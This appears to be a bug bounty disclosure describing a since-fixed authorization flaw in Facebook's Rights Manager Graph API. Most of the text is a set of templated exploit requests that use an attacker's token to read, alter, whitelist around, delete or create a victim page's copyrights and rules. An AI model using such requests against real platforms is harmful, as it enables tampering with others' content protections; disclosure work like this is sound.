Free way to Facebook Freebooting | Hacking Rights Manager

Freebooting is a sort of piracy, most commonly referred as downloading someone else’s copyrighted material and uploading it to any other internet platform, often videos from Youtube to Facebook. A security vulnerability in Facebook’s newly introduced platform called [Copy] Rights Manager (to prevent Freebooting) allows one to hack Facebook brand page copyright data easily. 

So what’s the hack? 

Technical Details

https://www.facebook.com/page_username/publishing_tools/?section=NEW_MATCHES

UPDATING VICTIM’s COPYRIGHT
https://graph.facebook.com/v2.6/<copyright_id_copied_from_victim_query>?method=post&monitoring_type=VIDEO_AND_AUDIO&access_token=<attacker_access_token>&whitelisted_ids
=<attacker_ids_to_bypass_copyright_check>&rule_id=<any_rule_id_if_you_wish_optional_field>&ownership_countries=<can_update_countries_as_well_but_optional>
All the above fields added in the parameters can be updated.

Reading Victim’s Copyrights
https://graph.facebook.com/v2.6/<victim_page_id>/video_copyrights?access_token=<attacker_access_token>

Deleting Victim’s Copyrights
https://graph.facebook.com/v2.6/<victim_page_copyright_id>?method=delete&access_token=<attacker_access_token>

Create copyright rule on behalf of victim’s page
https://graph.facebook.com/v2.6/<victim_page_id>/video_copyright_rules?access_token=<attacker_access_token>&name=testrule&condition_groups=[{action:”ALLOW”,conditions:[{type:”MONITORING_TYPE”,operator:”IS”,value:”VIDEO_ONLY”}]}]

Read Victim’s Copyright Rules
https://graph.facebook.com/v2.6/<victim_page_id>/video_copyright_rules?access_token=<attacker_access_token>

Delete Copyright Rule
https://graph.facebook.com/v2.6/<victim_page_copyright_rule_id>?method=delete&access_token=<attacker_access_token>

I thank Facebook Security team for quickly fixing this issue 🙂